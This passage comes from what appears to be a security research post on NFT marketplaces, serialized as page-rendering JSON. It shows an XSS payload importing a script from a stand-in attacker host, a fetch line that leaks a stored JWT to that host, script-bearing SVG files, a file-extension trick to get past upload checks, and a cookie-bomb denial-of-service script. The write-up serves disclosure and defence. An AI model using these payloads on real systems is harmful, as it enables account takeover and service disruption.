type":23,"tag":504,"props":35650,"children":35651},{"style":5030},[35652],{"type":29,"value":10412},{"type":23,"tag":504,"props":35654,"children":35655},{"style":5041},[35656],{"type":29,"value":34596},{"type":23,"tag":504,"props":35658,"children":35659},{"style":5047},[35660],{"type":29,"value":546},{"type":23,"tag":504,"props":35662,"children":35663},{"style":6297},[35664],{"type":29,"value":34859},{"type":23,"tag":504,"props":35666,"children":35667},{"style":5041},[35668],{"type":29,"value":34566},{"type":23,"tag":504,"props":35670,"children":35671},{"style":5047},[35672],{"type":29,"value":546},{"type":23,"tag":504,"props":35674,"children":35675},{"style":6297},[35676],{"type":29,"value":34872},{"type":23,"tag":504,"props":35678,"children":35679},{"style":34431},[35680],{"type":29,"value":34835},{"type":23,"tag":504,"props":35682,"children":35683},{"class":5016,"line":5349},[35684,35688,35692],{"type":23,"tag":504,"props":35685,"children":35686},{"style":34431},[35687],{"type":29,"value":34884},{"type":23,"tag":504,"props":35689,"children":35690},{"style":5030},[35691],{"type":29,"value":34506},{"type":23,"tag":504,"props":35693,"children":35694},{"style":34431},[35695],{"type":29,"value":8038},{"type":23,"tag":504,"props":35697,"children":35698},{"class":5016,"line":5367},[35699,35703,35707],{"type":23,"tag":504,"props":35700,"children":35701},{"style":34431},[35702],{"type":29,"value":34900},{"type":23,"tag":504,"props":35704,"children":35705},{"style":5030},[35706],{"type":29,"value":34455},{"type":23,"tag":504,"props":35708,"children":35709},{"style":34431},[35710],{"type":29,"value":8038},{"type":23,"tag":504,"props":35712,"children":35713},{"class":5016,"line":5388},[35714],{"type":23,"tag":504,"props":35715,"children":35716},{"emptyLinePlaceholder":15},[35717],{"type":29,"value":5734},{"type":23,"tag":504,"props":35719,"children":35720},{"class":5016,"line":5397},[35721,35725,35729],{"type":23,"tag":504,"props":35722,"children":35723},{"style":34431},[35724],{"type":29,"value":34450},{"type":23,"tag":504,"props":35726,"children":35727},{"style":5030},[35728],{"type":29,"value":34471},{"type":23,"tag":504,"props":35730,"children":35731},{"style":34431},[35732],{"type":29,"value":8038},{"type":23,"tag":504,"props":35734,"children":35735},{"class":5016,"line":5649},[35736],{"type":23,"tag":504,"props":35737,"children":35738},{"emptyLinePlaceholder":15},[35739],{"type":29,"value":5734},{"type":23,"tag":504,"props":35741,"children":35742},{"class":5016,"line":5666},[35743,35747],{"type":23,"tag":504,"props":35744,"children":35745},{"style":5058},[35746],{"type":29,"value":34945},{"type":23,"tag":504,"props":35748,"children":35749},{"style":5030},[35750],{"type":29,"value":12926},{"type":23,"tag":504,"props":35752,"children":35753},{"class":5016,"line":5683},[35754,35758,35762,35766,35770,35774,35778,35782,35786,35790,35794,35798],{"type":23,"tag":504,"props":35755,"children":35756},{"style":5041},[35757],{"type":29,"value":34957},{"type":23,"tag":504,"props":35759,"children":35760},{"style":5041},[35761],{"type":29,"value":34962},{"type":23,"tag":504,"props":35763,"children":35764},{"style":5047},[35765],{"type":29,"value":34967},{"type":23,"tag":504,"props":35767,"children":35768},{"style":5067},[35769],{"type":29,"value":34972},{"type":23,"tag":504,"props":35771,"children":35772},{"style":5047},[35773],{"type":29,"value":5110},{"type":23,"tag":504,"props":35775,"children":35776},{"style":5067},[35777],{"type":29,"value":34972},{"type":23,"tag":504,"props":35779,"children":35780},{"style":5139},[35781],{"type":29,"value":34985},{"type":23,"tag":504,"props":35783,"children":35784},{"style":5047},[35785],{"type":29,"value":603},{"type":23,"tag":504,"props":35787,"children":35788},{"style":6297},[35789],{"type":29,"value":34994},{"type":23,"tag":504,"props":35791,"children":35792},{"style":5047},[35793],{"type":29,"value":34999},{"type":23,"tag":504,"props":35795,"children":35796},{"style":5139},[35797],{"type":29,"value":35004},{"type":23,"tag":504,"props":35799,"children":35800},{"style":5047},[35801],{"type":29,"value":9780},{"type":23,"tag":504,"props":35803,"children":35804},{"class":5016,"line":5696},[35805],{"type":23,"tag":504,"props":35806,"children":35807},{"emptyLinePlaceholder":15},[35808],{"type":29,"value":5734},{"type":23,"tag":504,"props":35810,"children":35811},{"class":5016,"line":5705},[35812,35816,35820,35824,35828,35832,35836,35840,35844,35848,35852,35856,35860],{"type":23,"tag":504,"props":35813,"children":35814},{"style":5041},[35815],{"type":29,"value":5105},{"type":23,"tag":504,"props":35817,"children":35818},{"style":5041},[35819],{"type":29,"value":35027},{"type":23,"tag":504,"props":35821,"children":35822},{"style":5047},[35823],{"type":29,"value":34967},{"type":23,"tag":504,"props":35825,"children":35826},{"style":5030},[35827],{"type":29,"value":17169},{"type":23,"tag":504,"props":35829,"children":35830},{"style":5139},[35831],{"type":29,"value":35040},{"type":23,"tag":504,"props":35833,"children":35834},{"style":5047},[35835],{"type":29,"value":35045},{"type":23,"tag":504,"props":35837,"children":35838},{"style":5041},[35839],{"type":29,"value":35004},{"type":23,"tag":504,"props":35841,"children":35842},{"style":5047},[35843],{"type":29,"value":25101},{"type":23,"tag":504,"props":35845,"children":35846},{"style":6297},[35847],{"type":29,"value":35058},{"type":23,"tag":504,"props":35849,"children":35850},{"style":5047},[35851],{"type":29,"value":35063},{"type":23,"tag":504,"props":35853,"children":35854},{"style":5041},[35855],{"type":29,"value":35068},{"type":23,"tag":504,"props":35857,"children":35858},{"style":6297},[35859],{"type":29,"value":35073},{"type":23,"tag":504,"props":35861,"children":35862},{"style":5047},[35863],{"type":29,"value":35078},{"type":23,"tag":504,"props":35865,"children":35866},{"class":5016,"line":5728},[35867,35871,35875,35879,35883,35887],{"type":23,"tag":504,"props":35868,"children":35869},{"style":5041},[35870],{"type":29,"value":34957},{"type":23,"tag":504,"props":35872,"children":35873},{"style":5041},[35874],{"type":29,"value":35090},{"type":23,"tag":504,"props":35876,"children":35877},{"style":5047},[35878],{"type":29,"value":34967},{"type":23,"tag":504,"props":35880,"children":35881},{"style":5030},[35882],{"type":29,"value":17169},{"type":23,"tag":504,"props":35884,"children":35885},{"style":5139},[35886],{"type":29,"value":35103},{"type":23,"tag":504,"props":35888,"children":35889},{"style":5047},[35890],{"type":29,"value":5725},{"type":23,"tag":504,"props":35892,"children":35893},{"class":5016,"line":5737},[35894,35898,35902,35906,35910,35914,35918,35922],{"type":23,"tag":504,"props":35895,"children":35896},{"style":5041},[35897],{"type":29,"value":35115},{"type":23,"tag":504,"props":35899,"children":35900},{"style":5047},[35901],{"type":29,"value":357},{"type":23,"tag":504,"props":35903,"children":35904},{"style":5041},[35905],{"type":29,"value":35124},{"type":23,"tag":504,"props":35907,"children":35908},{"style":5047},[35909],{"type":29,"value":357},{"type":23,"tag":504,"props":35911,"children":35912},{"style":5139},[35913],{"type":29,"value":11684},{"type":23,"tag":504,"props":35915,"children":35916},{"style":5047},[35917],{"type":29,"value":603},{"type":23,"tag":504,"props":35919,"children":35920},{"style":5041},[35921],{"type":29,"value":3025},{"type":23,"tag":504,"props":35923,"children":35924},{"style":5047},[35925],{"type":29,"value":5888},{"type":23,"tag":504,"props":35927,"children":35928},{"class":5016,"line":5746},[35929],{"type":23,"tag":504,"props":35930,"children":35931},{"emptyLinePlaceholder":15},[35932],{"type":29,"value":5734},{"type":23,"tag":504,"props":35934,"children":35935},{"class":5016,"line":5813},[35936,35940,35944,35948,35952,35956,35960,35964],{"type":23,"tag":504,"props":35937,"children":35938},{"style":5041},[35939],{"type":29,"value":35159},{"type":23,"tag":504,"props":35941,"children":35942},{"style":5047},[35943],{"type":29,"value":357},{"type":23,"tag":504,"props":35945,"children":35946},{"style":5041},[35947],{"type":29,"value":35168},{"type":23,"tag":504,"props":35949,"children":35950},{"style":5047},[35951],{"type":29,"value":34967},{"type":23,"tag":504,"props":35953,"children":35954},{"style":5041},[35955],{"type":29,"value":35177},{"type":23,"tag":504,"props":35957,"children":35958},{"style":5047},[35959],{"type":29,"value":357},{"type":23,"tag":504,"props":35961,"children":35962},{"style":5041},[35963],{"type":29,"value":35168},{"type":23,"tag":504,"props":35965,"children":35966},{"style":5047},[35967],{"type":29,"value":5061},{"type":23,"tag":504,"props":35969,"children":35970},{"class":5016,"line":5821},[35971],{"type":23,"tag":504,"props":35972,"children":35973},{"emptyLinePlaceholder":15},[35974],{"type":29,"value":5734},{"type":23,"tag":504,"props":35976,"children":35977},{"class":5016,"line":5851},[35978,35983,35987,35992],{"type":23,"tag":504,"props":35979,"children":35980},{"style":5041},[35981],{"type":29,"value":35982},"        form123",{"type":23,"tag":504,"props":35984,"children":35985},{"style":5047},[35986],{"type":29,"value":357},{"type":23,"tag":504,"props":35988,"children":35989},{"style":5139},[35990],{"type":29,"value":35991},"submit",{"type":23,"tag":504,"props":35993,"children":35994},{"style":5047},[35995],{"type":29,"value":9780},{"type":23,"tag":504,"props":35997,"children":35998},{"class":5016,"line":5859},[35999,36003],{"type":23,"tag":504,"props":36000,"children":36001},{"style":5030},[36002],{"type":29,"value":35197},{"type":23,"tag":504,"props":36004,"children":36005},{"style":5058},[36006],{"type":29,"value":35202},{"type":23,"tag":504,"props":36008,"children":36009},{"class":5016,"line":5891},[36010],{"type":23,"tag":504,"props":36011,"children":36012},{"emptyLinePlaceholder":15},[36013],{"type":29,"value":5734},{"type":23,"tag":504,"props":36015,"children":36016},{"class":5016,"line":5899},[36017,36021,36025],{"type":23,"tag":504,"props":36018,"children":36019},{"style":34431},[36020],{"type":29,"value":34900},{"type":23,"tag":504,"props":36022,"children":36023},{"style":5030},[36024],{"type":29,"value":34471},{"type":23,"tag":504,"props":36026,"children":36027},{"style":34431},[36028],{"type":29,"value":8038},{"type":23,"tag":504,"props":36030,"children":36031},{"class":5016,"line":5959},[36032,36036,36040],{"type":23,"tag":504,"props":36033,"children":36034},{"style":34431},[36035],{"type":29,"value":34485},{"type":23,"tag":504,"props":36037,"children":36038},{"style":5030},[36039],{"type":29,"value":34438},{"type":23,"tag":504,"props":36041,"children":36042},{"style":34431},[36043],{"type":29,"value":8038},{"type":23,"tag":32,"props":36045,"children":36046},{},[36047],{"type":29,"value":36048},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":4743,"props":36050,"children":36054},{"className":36051,"code":36052,"language":36053,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[36055],{"type":23,"tag":154,"props":36056,"children":36057},{"__ignoreMap":7},[36058,36065,36086,36107,36124],{"type":23,"tag":504,"props":36059,"children":36060},{"class":5016,"line":5017},[36061],{"type":23,"tag":504,"props":36062,"children":36063},{"style":5058},[36064],{"type":29,"value":12926},{"type":23,"tag":504,"props":36066,"children":36067},{"class":5016,"line":4868},[36068,36073,36077,36082],{"type":23,"tag":504,"props":36069,"children":36070},{"style":5041},[36071],{"type":29,"value":36072},"  \"address\"",{"type":23,"tag":504,"props":36074,"children":36075},{"style":5058},[36076],{"type":29,"value":17378},{"type":23,"tag":504,"props":36078,"children":36079},{"style":6297},[36080],{"type":29,"value":36081},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":504,"props":36083,"children":36084},{"style":5058},[36085],{"type":29,"value":5557},{"type":23,"tag":504,"props":36087,"children":36088},{"class":5016,"line":4876},[36089,36094,36098,36103],{"type":23,"tag":504,"props":36090,"children":36091},{"style":5041},[36092],{"type":29,"value":36093},"  \"to\"",{"type":23,"tag":504,"props":36095,"children":36096},{"style":5058},[36097],{"type":29,"value":17378},{"type":23,"tag":504,"props":36099,"children":36100},{"style":6297},[36101],{"type":29,"value":36102},"\"profile-assets\"",{"type":23,"tag":504,"props":36104,"children":36105},{"style":5058},[36106],{"type":29,"value":5557},{"type":23,"tag":504,"props":36108,"children":36109},{"class":5016,"line":5099},[36110,36115,36119],{"type":23,"tag":504,"props":36111,"children":36112},{"style":5041},[36113],{"type":29,"value":36114},"  \"type\"",{"type":23,"tag":504,"props":36116,"children":36117},{"style":5058},[36118],{"type":29,"value":17378},{"type":23,"tag":504,"props":36120,"children":36121},{"style":6297},[36122],{"type":29,"value":36123},"\"icon\"\n",{"type":23,"tag":504,"props":36125,"children":36126},{"class":5016,"line":5203},[36127],{"type":23,"tag":504,"props":36128,"children":36129},{"style":5058},[36130],{"type":29,"value":5965},{"type":23,"tag":32,"props":36132,"children":36133},{},[36134],{"type":29,"value":36135},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":4743,"props":36137,"children":36139},{"className":33418,"code":36138,"language":33420,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[36140],{"type":23,"tag":154,"props":36141,"children":36142},{"__ignoreMap":7},[36143],{"type":23,"tag":504,"props":36144,"children":36145},{"class":5016,"line":5017},[36146,36151,36155,36160,36165,36170,36174,36179,36183,36188,36192,36197,36201],{"type":23,"tag":504,"props":36147,"children":36148},{"style":5139},[36149],{"type":29,"value":36150},"fetch",{"type":23,"tag":504,"props":36152,"children":36153},{"style":5058},[36154],{"type":29,"value":603},{"type":23,"tag":504,"props":36156,"children":36157},{"style":6297},[36158],{"type":29,"value":36159},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":504,"props":36161,"children":36162},{"style":5030},[36163],{"type":29,"value":36164},"${",{"type":23,"tag":504,"props":36166,"children":36167},{"style":5041},[36168],{"type":29,"value":36169},"localStorage",{"type":23,"tag":504,"props":36171,"children":36172},{"style":5047},[36173],{"type":29,"value":357},{"type":23,"tag":504,"props":36175,"children":36176},{"style":5139},[36177],{"type":29,"value":36178},"getItem",{"type":23,"tag":504,"props":36180,"children":36181},{"style":5047},[36182],{"type":29,"value":603},{"type":23,"tag":504,"props":36184,"children":36185},{"style":6297},[36186],{"type":29,"value":36187},"'token'",{"type":23,"tag":504,"props":36189,"children":36190},{"style":5047},[36191],{"type":29,"value":933},{"type":23,"tag":504,"props":36193,"children":36194},{"style":5030},[36195],{"type":29,"value":36196},"}",{"type":23,"tag":504,"props":36198,"children":36199},{"style":6297},[36200],{"type":29,"value":12428},{"type":23,"tag":504,"props":36202,"children":36203},{"style":5058},[36204],{"type":29,"value":5888},{"type":23,"tag":320,"props":36206,"children":36208},{"id":36207},"svgs",[36209],{"type":29,"value":36210},"SVGs",{"type":23,"tag":32,"props":36212,"children":36213},{},[36214],{"type":29,"value":36215},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":32,"props":36217,"children":36218},{},[36219],{"type":29,"value":36220},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":4743,"props":36222,"children":36224},{"className":33418,"code":36223,"language":33420,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[36225],{"type":23,"tag":154,"props":36226,"children":36227},{"__ignoreMap":7},[36228,36274,36311,36318,36348,36380,36408,36416,36432],{"type":23,"tag":504,"props":36229,"children":36230},{"class":5016,"line":5017},[36231,36236,36241,36246,36250,36255,36260,36264,36269],{"type":23,"tag":504,"props":36232,"children":36233},{"style":5047},[36234],{"type":29,"value":36235},"\u003C?",{"type":23,"tag":504,"props":36237,"children":36238},{"style":5041},[36239],{"type":29,"value":36240},"xml",{"type":23,"tag":504,"props":36242,"children":36243},{"style":5041},[36244],{"type":29,"value":36245}," version",{"type":23,"tag":504,"props":36247,"children":36248},{"style":5047},[36249],{"type":29,"value":546},{"type":23,"tag":504,"props":36251,"children":36252},{"style":6297},[36253],{"type":29,"value":36254},"\"1.0\"",{"type":23,"tag":504,"props":36256,"children":36257},{"style":5041},[36258],{"type":29,"value":36259}," encoding",{"type":23,"tag":504,"props":36261,"children":36262},{"style":5047},[36263],{"type":29,"value":546},{"type":23,"tag":504,"props":36265,"children":36266},{"style":6297},[36267],{"type":29,"value":36268},"\"UTF-8\"",{"type":23,"tag":504,"props":36270,"children":36271},{"style":5047},[36272],{"type":29,"value":36273},"?>\n",{"type":23,"tag":504,"props":36275,"children":36276},{"class":5016,"line":4868},[36277,36282,36287,36292,36297,36302,36307],{"type":23,"tag":504,"props":36278,"children":36279},{"style":5047},[36280],{"type":29,"value":36281},"\u003C!",{"type":23,"tag":504,"props":36283,"children":36284},{"style":5041},[36285],{"type":29,"value":36286},"DOCTYPE",{"type":23,"tag":504,"props":36288,"children":36289},{"style":5041},[36290],{"type":29,"value":36291}," svg",{"type":23,"tag":504,"props":36293,"children":36294},{"style":5041},[36295],{"type":29,"value":36296}," PUBLIC",{"type":23,"tag":504,"props":36298,"children":36299},{"style":6297},[36300],{"type":29,"value":36301}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":504,"props":36303,"children":36304},{"style":6297},[36305],{"type":29,"value":36306}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":504,"props":36308,"children":36309},{"style":5047},[36310],{"type":29,"value":8038},{"type":23,"tag":504,"props":36312,"children":36313},{"class":5016,"line":4876},[36314],{"type":23,"tag":504,"props":36315,"children":36316},{"emptyLinePlaceholder":15},[36317],{"type":29,"value":5734},{"type":23,"tag":504,"props":36319,"children":36320},{"class":5016,"line":5099},[36321,36325,36330,36335,36339,36344],{"type":23,"tag":504,"props":36322,"children":36323},{"style":34431},[36324],{"type":29,"value":10764},{"type":23,"tag":504,"props":36326,"children":36327},{"style":5030},[36328],{"type":29,"value":36329},"svg",{"type":23,"tag":504,"props":36331,"children":36332},{"style":5041},[36333],{"type":29,"value":36334}," xmlns",{"type":23,"tag":504,"props":36336,"children":36337},{"style":5047},[36338],{"type":29,"value":546},{"type":23,"tag":504,"props":36340,"children":36341},{"style":6297},[36342],{"type":29,"value":36343},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":504,"props":36345,"children":36346},{"style":34431},[36347],{"type":29,"value":8038},{"type":23,"tag":504,"props":36349,"children":36350},{"class":5016,"line":5203},[36351,36355,36360,36364,36368,36372,36376],{"type":23,"tag":504,"props":36352,"children":36353},{"style":34431},[36354],{"type":29,"value":34450},{"type":23,"tag":504,"props":36356,"children":36357},{"style":5030},[36358],{"type":29,"value":36359},"title",{"type":23,"tag":504,"props":36361,"children":36362},{"style":34431},[36363],{"type":29,"value":12508},{"type":23,"tag":504,"props":36365,"children":36366},{"style":5058},[36367],{"type":29,"value":33292},{"type":23,"tag":504,"props":36369,"children":36370},{"style":34431},[36371],{"type":29,"value":34485},{"type":23,"tag":504,"props":36373,"children":36374},{"style":5030},[36375],{"type":29,"value":36359},{"type":23,"tag":504,"props":36377,"children":36378},{"style":34431},[36379],{"type":29,"value":8038},{"type":23,"tag":504,"props":36381,"children":36382},{"class":5016,"line":5308},[36383,36387,36391,36395,36399,36404],{"type":23,"tag":504,"props":36384,"children":36385},{"style":34431},[36386],{"type":29,"value":34450},{"type":23,"tag":504,"props":36388,"children":36389},{"style":5030},[36390],{"type":29,"value":34471},{"type":23,"tag":504,"props":36392,"children":36393},{"style":5041},[36394],{"type":29,"value":34596},{"type":23,"tag":504,"props":36396,"children":36397},{"style":5047},[36398],{"type":29,"value":546},{"type":23,"tag":504,"props":36400,"children":36401},{"style":6297},[36402],{"type":29,"value":36403},"\"text/javascript\"",{"type":23,"tag":504,"props":36405,"children":36406},{"style":34431},[36407],{"type":29,"value":8038},{"type":23,"tag":504,"props":36409,"children":36410},{"class":5016,"line":5336},[36411],{"type":23,"tag":504,"props":36412,"children":36413},{"style":5058},[36414],{"type":29,"value":36415},"   alert(document.domain);\n",{"type":23,"tag":504,"props":36417,"children":36418},{"class":5016,"line":5349},[36419,36424,36428],{"type":23,"tag":504,"props":36420,"children":36421},{"style":34431},[36422],{"type":29,"value":36423},"   \u003C/",{"type":23,"tag":504,"props":36425,"children":36426},{"style":5030},[36427],{"type":29,"value":34471},{"type":23,"tag":504,"props":36429,"children":36430},{"style":34431},[36431],{"type":29,"value":8038},{"type":23,"tag":504,"props":36433,"children":36434},{"class":5016,"line":5367},[36435,36440,36444],{"type":23,"tag":504,"props":36436,"children":36437},{"style":34431},[36438],{"type":29,"value":36439}," \u003C/",{"type":23,"tag":504,"props":36441,"children":36442},{"style":5030},[36443],{"type":29,"value":36329},{"type":23,"tag":504,"props":36445,"children":36446},{"style":34431},[36447],{"type":29,"value":8038},{"type":23,"tag":32,"props":36449,"children":36450},{},[36451,36453,36460],{"type":29,"value":36452},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":68,"props":36454,"children":36457},{"href":36455,"rel":36456},"https://xtingles.com/",[72],[36458],{"type":29,"value":36459},"xtingles Marketplace",{"type":29,"value":357},{"type":23,"tag":32,"props":36462,"children":36463},{},[36464],{"type":29,"value":36465},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":32,"props":36467,"children":36468},{},[36469],{"type":29,"value":36470},"Below, we show you how we did it.",{"type":23,"tag":32,"props":36472,"children":36473},{},[36474],{"type":29,"value":36475},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":32,"props":36477,"children":36478},{},[36479],{"type":23,"tag":199,"props":36480,"children":36482},{"alt":7,"src":36481},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":32,"props":36484,"children":36485},{},[36486],{"type":29,"value":36487},"After changing the extension inside the file name.",{"type":23,"tag":32,"props":36489,"children":36490},{},[36491],{"type":23,"tag":199,"props":36492,"children":36494},{"alt":7,"src":36493},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":320,"props":36496,"children":36498},{"id":36497},"svgs-return",[36499],{"type":29,"value":36500},"SVGs Return",{"type":23,"tag":32,"props":36502,"children":36503},{},[36504],{"type":29,"value":36505},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":32,"props":36507,"children":36508},{},[36509],{"type":29,"value":36510},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":32,"props":36512,"children":36513},{},[36514],{"type":29,"value":36515},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":4743,"props":36517,"children":36521},{"className":36518,"code":36519,"language":36520,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[36522],{"type":23,"tag":154,"props":36523,"children":36524},{"__ignoreMap":7},[36525,36564,36595,36602,36629,36660,36687,36695,36703,36710,36722,36797,36805,36820],{"type":23,"tag":504,"props":36526,"children":36527},{"class":5016,"line":5017},[36528,36532,36536,36540,36544,36548,36552,36556,36560],{"type":23,"tag":504,"props":36529,"children":36530},{"style":5047},[36531],{"type":29,"value":36235},{"type":23,"tag":504,"props":36533,"children":36534},{"style":5041},[36535],{"type":29,"value":36240},{"type":23,"tag":504,"props":36537,"children":36538},{"style":5041},[36539],{"type":29,"value":36245},{"type":23,"tag":504,"props":36541,"children":36542},{"style":5047},[36543],{"type":29,"value":546},{"type":23,"tag":504,"props":36545,"children":36546},{"style":6297},[36547],{"type":29,"value":36254},{"type":23,"tag":504,"props":36549,"children":36550},{"style":5041},[36551],{"type":29,"value":36259},{"type":23,"tag":504,"props":36553,"children":36554},{"style":5047},[36555],{"type":29,"value":546},{"type":23,"tag":504,"props":36557,"children":36558},{"style":6297},[36559],{"type":29,"value":36268},{"type":23,"tag":504,"props":36561,"children":36562},{"style":5047},[36563],{"type":29,"value":36273},{"type":23,"tag":504,"props":36565,"children":36566},{"class":5016,"line":4868},[36567,36571,36575,36579,36583,36587,36591],{"type":23,"tag":504,"props":36568,"children":36569},{"style":5047},[36570],{"type":29,"value":36281},{"type":23,"tag":504,"props":36572,"children":36573},{"style":5041},[36574],{"type":29,"value":36286},{"type":23,"tag":504,"props":36576,"children":36577},{"style":5041},[36578],{"type":29,"value":36291},{"type":23,"tag":504,"props":36580,"children":36581},{"style":5041},[36582],{"type":29,"value":36296},{"type":23,"tag":504,"props":36584,"children":36585},{"style":6297},[36586],{"type":29,"value":36301},{"type":23,"tag":504,"props":36588,"children":36589},{"style":6297},[36590],{"type":29,"value":36306},{"type":23,"tag":504,"props":36592,"children":36593},{"style":5047},[36594],{"type":29,"value":8038},{"type":23,"tag":504,"props":36596,"children":36597},{"class":5016,"line":4876},[36598],{"type":23,"tag":504,"props":36599,"children":36600},{"emptyLinePlaceholder":15},[36601],{"type":29,"value":5734},{"type":23,"tag":504,"props":36603,"children":36604},{"class":5016,"line":5099},[36605,36609,36613,36617,36621,36625],{"type":23,"tag":504,"props":36606,"children":36607},{"style":34431},[36608],{"type":29,"value":10764},{"type":23,"tag":504,"props":36610,"children":36611},{"style":5030},[36612],{"type":29,"value":36329},{"type":23,"tag":504,"props":36614,"children":36615},{"style":5041},[36616],{"type":29,"value":36334},{"type":23,"tag":504,"props":36618,"children":36619},{"style":5047},[36620],{"type":29,"value":546},{"type":23,"tag":504,"props":36622,"children":36623},{"style":6297},[36624],{"type":29,"value":36343},{"type":23,"tag":504,"props":36626,"children":36627},{"style":34431},[36628],{"type":29,"value":8038},{"type":23,"tag":504,"props":36630,"children":36631},{"class":5016,"line":5203},[36632,36636,36640,36644,36648,36652,36656],{"type":23,"tag":504,"props":36633,"children":36634},{"style":34431},[36635],{"type":29,"value":34450},{"type":23,"tag":504,"props":36637,"children":36638},{"style":5030},[36639],{"type":29,"value":36359},{"type":23,"tag":504,"props":36641,"children":36642},{"style":34431},[36643],{"type":29,"value":12508},{"type":23,"tag":504,"props":36645,"children":36646},{"style":5058},[36647],{"type":29,"value":33292},{"type":23,"tag":504,"props":36649,"children":36650},{"style":34431},[36651],{"type":29,"value":34485},{"type":23,"tag":504,"props":36653,"children":36654},{"style":5030},[36655],{"type":29,"value":36359},{"type":23,"tag":504,"props":36657,"children":36658},{"style":34431},[36659],{"type":29,"value":8038},{"type":23,"tag":504,"props":36661,"children":36662},{"class":5016,"line":5308},[36663,36667,36671,36675,36679,36683],{"type":23,"tag":504,"props":36664,"children":36665},{"style":34431},[36666],{"type":29,"value":34450},{"type":23,"tag":504,"props":36668,"children":36669},{"style":5030},[36670],{"type":29,"value":34471},{"type":23,"tag":504,"props":36672,"children":36673},{"style":5041},[36674],{"type":29,"value":34596},{"type":23,"tag":504,"props":36676,"children":36677},{"style":5047},[36678],{"type":29,"value":546},{"type":23,"tag":504,"props":36680,"children":36681},{"style":6297},[36682],{"type":29,"value":36403},{"type":23,"tag":504,"props":36684,"children":36685},{"style":34431},[36686],{"type":29,"value":8038},{"type":23,"tag":504,"props":36688,"children":36689},{"class":5016,"line":5336},[36690],{"type":23,"tag":504,"props":36691,"children":36692},{"style":5058},[36693],{"type":29,"value":36694},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":504,"props":36696,"children":36697},{"class":5016,"line":5349},[36698],{"type":23,"tag":504,"props":36699,"children":36700},{"style":5058},[36701],{"type":29,"value":36702},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":504,"props":36704,"children":36705},{"class":5016,"line":5367},[36706],{"type":23,"tag":504,"props":36707,"children":36708},{"emptyLinePlaceholder":15},[36709],{"type":29,"value":5734},{"type":23,"tag":504,"props":36711,"children":36712},{"class":5016,"line":5388},[36713,36718],{"type":23,"tag":504,"props":36714,"children":36715},{"style":5058},[36716],{"type":29,"value":36717},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":504,"props":36719,"children":36720},{"style":5030},[36721],{"type":29,"value":12926},{"type":23,"tag":504,"props":36723,"children":36724},{"class":5016,"line":5397},[36725,36730,36734,36739,36743,36748,36753,36757,36761,36766,36770,36775,36779,36784,36788,36793],{"type":23,"tag":504,"props":36726,"children":36727},{"style":5041},[36728],{"type":29,"value":36729},"    document",{"type":23,"tag":504,"props":36731,"children":36732},{"style":5047},[36733],{"type":29,"value":357},{"type":23,"tag":504,"props":36735,"children":36736},{"style":5041},[36737],{"type":29,"value":36738},"cookie",{"type":23,"tag":504,"props":36740,"children":36741},{"style":5047},[36742],{"type":29,"value":34967},{"type":23,"tag":504,"props":36744,"children":36745},{"style":6297},[36746],{"type":29,"value":36747},"'Cookie'",{"type":23,"tag":504,"props":36749,"children":36750},{"style":5047},[36751],{"type":29,"value":36752}," + 